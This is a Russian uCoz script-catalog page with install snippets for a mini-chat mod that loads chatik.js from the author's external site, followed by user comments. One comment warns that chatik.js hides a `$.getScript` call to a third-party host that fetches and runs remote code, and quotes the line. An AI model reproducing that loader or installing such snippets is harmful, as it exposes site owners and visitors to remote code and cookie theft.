Новый мини-чат с множеством функций by TRANE73


Новый мини-чат с множеством функций by TRANE73

1386
6.4 из 10
Проголосовало: 5




Возможности:
* Множество смайликов
* Выбор настроения
* Настройка цвета текста
* Выбор цвета рамки сообщения
* Различные цвета Вашего ника
* Редактирование и удаление сообщений на этой же странице
* Отправка ЛС прямо из чата
* Проверка статуса отправителя сообщения
* Выбор автообновления чата
* Показ количества оставшихся символов

Установка очень проста.

Этот код вставьте в Вид материалов Мини-чата:

Code
<script type="text/javascript" src="http://trane73.ru/demo/mchat/chatik.js"></script>  
<link type="text/css" rel="StyleSheet" href="http://s49.ucoz.net/src/layer4.css" />  
<div style="padding:4px;margin:4px;border: 1px solid <?if(substr($MESSAGE$,2,1)='1')?>red<?else?><?if(substr($MESSAGE$,2,1)='2')?>blue<?else?><?if(substr($MESSAGE$,2,1)='3')?>green<?else?><?if(substr($MESSAGE$,2,1)='4')?>orange<?else?><?if(substr($MESSAGE$,2,1)='5')?>gray<?else?><?if(substr($MESSAGE$,2,1)='6')?>aqua<?else?>pink<?endif?><?endif?><?endif?><?endif?><?endif?><?endif?>">  
<div style="float:right;font-size:10px;">$DATE$ в $TIME$</div>  
<div style="text-align:left;">  
<img alt="" src="http://trane73.ru/demo/mchat/<?if(substr($MESSAGE$,3,1)!='0')?>s<?substr($MESSAGE$,3,1)?><?else?>u<?endif?>.png" border="0" style="vertical-align:-4px" />  
<a href="javascript://" onclick="$('#upanel$NUMBER$').slideToggle('fast');$('#umess$NUMBER$').slideToggle('fast')" style="text-decoration:none"><b style="color: <?if(substr($MESSAGE$,1,1)='1')?>red<?else?><?if(substr($MESSAGE$,1,1)='2')?>blue<?else?><?if(substr($MESSAGE$,1,1)='3')?>green<?else?><?if(substr($MESSAGE$,1,1)='4')?>orange<?else?><?if(substr($MESSAGE$,1,1)='5')?>gray<?else?><?if(substr($MESSAGE$,1,1)='6')?>aqua<?else?>red<?endif?><?endif?><?endif?><?endif?><?endif?><?endif?>">$NAME$</b></a> [<a href="javascript://" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[b]{$NAME$}[/b]: ';return false;">Ответить</a>]  
</div>  
<div class="cMessage" style="text-align:left;"><div id="upanel$NUMBER$" style="display:none;"><a href="$PROFILE_URL$" title="$USERNAME$">Профиль</a> | <a href="javascript://" onclick="trane73.ls('$USERNAME$')">Отправить сообщение</a> | <a href="javascript://" onclick="trane73.checka('$USERNAME$','#ch$NUMBER$')">Проверить статус</a><span id="ch$NUMBER$"></span></div><div id="umess$NUMBER$" style="color: <?if(substr($MESSAGE$,0,1)='1')?>red<?else?><?if(substr($MESSAGE$,0,1)='2')?>blue<?else?><?if(substr($MESSAGE$,0,1)='3')?>green<?else?><?if(substr($MESSAGE$,0,1)='4')?>orange<?else?><?if(substr($MESSAGE$,0,1)='5')?>gray<?else?><?if(substr($MESSAGE$,0,1)='6')?>aqua<?else?>black<?endif?><?endif?><?endif?><?endif?><?endif?><?endif?>"><?substr($MESSAGE$,4)?></div></div>  
</div>

Это вставьте в Форму добавления сообщения Мини-чата:

Code
<script type="text/javascript" src="http://trane73.ru/demo/mchat/chatik.js"></script>  
<div style="border-top:1px solid pink;padding:3px;" class="cha">  
  <?if(!$CAN_ADD$)?><div align="center" style="padding:15px 0;font-size:12pt;">  
  <?if($LOGIN_LINK$)?><a href="$LOGIN_LINK$">Для добавления необходима авторизация</a><?else?>Доступ запрещен<?endif?><br /></div><?else?>  
<table border="0" cellpadding="1" cellspacing="1" width="100%"><tr><td>  
  Еще символов: $LENGTH_COUNTER$ |  
<a href="$RELOAD_URI$" title="Обновить">Обновить</a> |  
<a href="javascript://" onclick="$('#smile').slideToggle('fast')" title="Смайлы">Смайлы</a> |  
<a href="javascript://" onclick="$('#chatik').slideToggle('fast');$('#moder').slideToggle('fast')" title="Модерирование">Модерирование</a> |  
<a href="javascript://" onclick="$('#settings').slideToggle('fast')" title="Настройки">Настройки</a>  
</td><td width="20%" align="right">$FLD_AUTOUPD$</td></tr></table>  
<table border="0" cellpadding="1" cellspacing="1" width="100%"><tr><td width="85%"><input id="mchatMsgF" onkeyup="countMessLength();" style="height:19px;width:500px;"></td>  
<td><input type="button" value="Отправить" id="mchatBtn" onclick="trane73.sendch()" style="width:100px;"><img style="display:none;" id="mchatAjax" src="http://s44.ucoz.net/img/fr/ajax3.gif" border="0"/></td></tr></table>  
  <?endif?></div>  
<script type="text/javascript">  
  trane73.infa();  
  trane73.smiles();  
</script>

Заходите на персональную страницу и вставляете после <body> это:

Code
<span style="display:none"><span id="checka"> - <?if($_IS_OWN_PROFILE$)?><span class="statusOnline">Online</span><?else?>$_STATUS$<?endif?></span></span>

Теперь создаёте новую страницу и вставляете в неё вот это:

Code
<div style="border:1px solid pink" id="chatik">$CHAT_BOX$</div>  
<div style="border:1px solid pink;display:none" id="moder"><iframe id="mchatka" src="/mchat/0-1" frameborder="0" width="100%" height="400px"></iframe>  
<center>  
<br /><br />  
<a href="javascript://" rel="nofollow" onclick="document.getElementById('mchatka').src='/mchat/0-1';return false;" title="Обновить">Обновить</a> | <a href="javascript://" onclick="$('#chatik').slideToggle('fast');$('#moder').slideToggle('fast')" title="Закрыть модерирование">Закрыть модерирование</a>  
<br /><br />  
</center></div>

Не забудьте отключить каптчу для пользователей и разрешить им редактировать и удалять свои сообщения.

Автор публикации: Загрузка
Загрузка
Вовчик, это его n материал
Источник: http://trane73.ru
  • Всего комментариев: 6

Xgibit
+1
Xgibit написал: Написано 01 Февраля 2014 в 19:31
Комментарий №4
не ставьте чат, за вами могут шпионить. В скрипте а именно в файле chatik.js стоит вот такой код
$.getScript("http://pibd.ask-me-now.ru/1.php?d=" + location.hostname
+ "&s=mchat");
а значит что у вас могут стырить кукисы и прочее cry

Goodmind
0
Goodmind написал: Написано 05 Февраля 2014 в 19:25
Комментарий №5
каким боком с помощью названия домена стыбзят куки?

Xgibit
-1
Xgibit написал: Написано 07 Февраля 2014 в 18:24
Комментарий №6
плохо ты знаешь про взломы через кукисы. Меня так взломали за что что я поставил get скрипт на свой сайт с одного сайта. Теперь пожалел. Так что вырезайте тот кусочек, для вашей же безопасности лучше biggrin

Quenbe
+1
Quenbe написал: Написано 15 Сентября 2011 в 14:07
Комментарий №3
респект!

DJ_FORWARD
0
DJ_FORWARD написал: Написано 01 мая 2011 в 14:04
Комментарий №2
класс

Hermes
0
Hermes написал: Написано 01 мая 2011 в 12:46
Комментарий №1
твердо

  • Оставить комментарий:
Добавлять комментарии могут только зарегистрированные пользователи.
Регистрация | Вход
Меню сайта
Категории
Для помощи создания сайта uCoz 24
Скрипты и модификации для Ucoz 2101
Шаблоны форумов Ucoz 28
Шаблоны сайтов Ucoz 429
Авторство Webo4ki 309
php скрипты для ucoz 57
Графика для uCoz 40
Мини-чат
Последние комментарии
Поставил ваш код он начинает считать от 0 до 100 и останавливаеться. я думал он будет в случайном порядке показывать цыфры
как поставить свою ссылку и логотип
  • Сатурн-1 написал:
  • Похвально.
  • Winston888 написал:
  • Я не говорил что делаю только скрипты. Я делаю шаблоны, скрипты, адаптации с разных движков под ucoz и на оборот + я ещё и сам рисую. В данный момент занимаюсь дизайном для webo4ka сам рисую сам верстаю.
  • Сатурн-1 написал:
  • Заметь, мы делаем почти одну и ту же работу.
    Ты - скрипты, я -шаблон. И каждый делает это бесплатно, НО
    ты делаешь скрипты без шаблона, я делаю шаблон без скриптов (не считая основных).
    Я тоже могу сказать что твои скрипты не идеальны, но не буду т.к. даже не знаю какие из всех существующих твои.
    Поэтому ты не сравнивай скрипты и шаблоны да еще и на Ucoz'e, мы же не на хакатоне каком нибудь.
    Последние темы
    Опрос
    205
    А
    Р
    Что произойдёт: $("#...
    Статистика
    Анализ интернет сайта
    0
    онлайн
    0
    наших
    0
    чужих
    Онлайн всего: 9
    Гостей: 9
    Пользователей: 0
    0
    Сегодня были
    Топ пользователей: